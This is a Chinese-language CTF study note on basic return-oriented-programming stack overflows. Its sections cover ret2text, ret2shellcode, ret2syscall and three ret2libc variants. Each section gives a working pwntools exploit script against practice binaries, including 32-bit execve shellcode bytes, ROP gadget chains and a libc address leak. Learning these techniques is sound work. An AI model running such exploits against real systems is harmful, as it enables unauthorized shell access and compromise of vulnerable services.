棧溢位----基礎rop
學習文獻:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/
1. 棧溢位基本原理就不寫了
列舉一下常見的危險函式:
- 輸入
- gets,直接讀取一行,忽略'\x00'
- scanf
- vscanf
- 輸出
- sprintf
- 字串
- strcpy,字串複製,遇到'\x00'停止
- strcat,字串拼接,遇到'\x00'停止
- bcopy
2. 基礎rop
ret2text
開啟NX,無棧保護,32位檔案
IDA中開啟可以發現system以及/bin/sh,存在危險函式gets,直接修改ret
計算需要覆蓋的偏移量
知道ebp和esp之後,結合s相對於esp的偏移量
exp
payload='a'*(0x6c+0x04)
cn.sendline(payload+p32(0x0804863A))
cn.interactive()
ret2shellcode
ret2shellcode,即控制程式執行 shellcode 程式碼。shellcode 指的是用於完成某個功能的彙編程式碼,常見的功能主要是獲取目標系統的 shell。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執行的程式碼
在棧溢位的基礎上,要想執行 shellcode,需要對應的 binary 在執行時,shellcode 所在的區域具有可執行許可權。
這是學習文獻中的原話,連結上面有,之前我們看見有那個NX保護,也就是說相應區域的NX保護沒開啟,我們自己手動打shellcode來奪取許可權
啥保護都沒開啟,辣是真滴流批,32位檔案
main函式中有gets還有strncpy函式,但是沒有相對應的system和/bin/sh,但是NX沒開啟,打shellcode
這裡gets函式返回地址沒有system給我們構造,但是strncpy裡的buf欄位我們可以嘗試通過往s寫如shellcode來複制進去,buf我們可以看到在bss欄位
我們可以檢視一下該欄位的許可權
我們可以看到buf所在處(0x0804A080)是可執行的
計算偏移量
設斷電後,發現s相對於ebp的偏移量是0x6C
也就是說我們覆蓋空間+shellcode=0x6C+0x04,exp如下
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
#cn.sendline(shellcode.ljust(112, 'a')+p32(0x0804a080))
cn.sendline(shellcode+'a'*(0x6C+0x04-len(shellcode))+p32(0x0804a080)) #等價於上一行
cn.interactive()
ret2syscall
ret2syscall,即控制程式執行系統呼叫,獲取 shell
32位,沒有棧保護,有NX,拖進IDA看一下main函式
這次我們可以發現沒有system函式,NX保護開啟了,但是我們可以搜尋字串找到/bin/sh,但是我們這次沒有函式來呼叫我們的shell,那怎麼辦?
我們可以偽造一個系統呼叫
我們可以將需要呼叫的引數壓入對應的暫存器,那麼我們在執行 int 0x80 就可執行對應的系統呼叫
#int $0x80是一條AT&T語法的中斷指令,用於Linux的系統呼叫
其中,該程式是 32 位,所以我們需要使得
- 系統呼叫號,即 eax 應該為 0xb
- 第一個引數,即 ebx 應該指向 /bin/sh 的地址,其實執行 sh 的地址也可以。
- 第二個引數,即 ecx 應該為 0
- 第三個引數,即 edx 應該為 0
我們可以使用 ropgadgets 這個工具來尋找各個暫存器可以控制的地址以及int 0x80的地址和/bin/sh的地址,具體如下
我們這裡選擇0x080bb196
之後我們找ebx的時候選擇0x0806eb90(edx,ecx,ebx全都有)
/bin/sh地址為0x080be408
int 0x80地址為0x08049421
最後就差指令碼了,但不要忘記s的偏移量哦
依然是0x6c
來,exp
eax_ret = 0x080bb196
edx_ecx_ebx_ret = 0x0806eb90
bin_sh=0x080be408
int_80=0x08049421
payload=flat(['a'*(0x6C+0x04), eax_ret, 0xb, edx_ecx_ebx_ret, 0, 0, bin_sh, int_80])
#payload='a'*(0x6C+0x04)+p32(eax_ret)+p32(0xb)+p32(edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80) #遇上一行相同
cn.sendline(payload)
cn.interactive()
ret2libc
ret2libc 即控制函式的執行 libc 中的函式,通常是返回至某個函式的 plt 處或者函式的具體位置 (即函式對應的 got 表項的內容)。一般情況下,我們會選擇執行 system("/bin/sh"),故而此時我們需要知道 system 函式的地址
#ibc:Linux下的ANSI C的函式庫,ANSI C是基本的C語言函式庫,包含了C語言最基本的庫函式
#plt與got:https://blog.csdn.net/linyt/article/details/51635768
先看一波這檔案防護機制情況
32位,開啟了NX保護,沒有棧溢位保拖進IDA確定漏洞位置
gets函式可以溢位
存在/bin/sh
存在system函式
OK,那直接覆蓋eip,正常呼叫system函式的時候,記得要新增一個返回地址(隨便就好,反正是假的)
system_addr=0x08048460
bin_sh=0x08048720
payload=flat(['a'*(0x6C+0x04),system_addr,'a'*0x04,bin_sh])
cn.sendline(payload)
cn.interactive()
ret2libc2
我們已經感受了一波lib,有system函式,但是這次不給你/bin/sh,要靠自己寫入咯
32位檔案,有NX保護,無棧溢位保護
拖進IDA找漏洞位置
gets函式可以溢位
因為本身是沒有/bin/sh的,所以我們需要在一個空的bss欄位寫入/bin/sh
exp
gets_plt=0x08048460
system_plt=0x08048490
bss=0x0804A080
ebp_ret=0x0804843d
payload=flat(['a'*(0x6C+0x04),gets_plt,ebp_ret,bss])
payload2=flat([system_plt,'a'*0x04,bss])
cn.send(payload)
cn.sendline(payload2)
cn.sendline('/bin/sh')
cn.interactive()
ret2libc3
接下來更進一步了,連system函式都沒了,需要我們去libc庫裡找,/bin/sh也可以去libc庫裡找
有NX,無棧保護
gets函式可以溢位
system 函式屬於 libc,而 libc.so 動態連結庫中的函式之間相對偏移是固定的,我們可以通過找出檔案中的函式在got表中的地址,再結合got表中距離system函式的偏移量,從而把system在檔案中的存放地址調出來,/bin/sh也是同理
這裡我們洩露 __libc_start_main 的地址,這是因為它是程式最初被執行的地方。基本利用思路如下
- 洩露 __libc_start_main 地址
- 獲取 libc 版本
- 獲取 system 地址與 /bin/sh 的地址
- 再次執行源程式
- 觸發棧溢位執行 system(‘/bin/sh’)
exp
puts_plt=bin.plt['puts']
libc_start_main_got=bin.got['__libc_start_main']
main=bin.symbols['main']
payload=flat(['a'*(0x6C+0x04),puts_plt,main,libc_start_main_got])
cn.recvuntil('Can you find it !?')
cn.sendline(payload)
libc_start_main_addr=u32(cn.recv(4)) #leak address
system_addr=libc.symbols['system']+libc_start_main_addr-libc.symbols['__libc_start_main']
bin_sh_addr=libc.search('/bin/sh').next()+libc_start_main_addr-libc.symbols['__libc_start_main']
payload2 = flat(['a'*(0x6C+0x04), system_addr, 'a'*0x04, bin_sh_addr])
cn.recvuntil('Can you find it !?')
cn.sendline(payload2)
cn.interactive()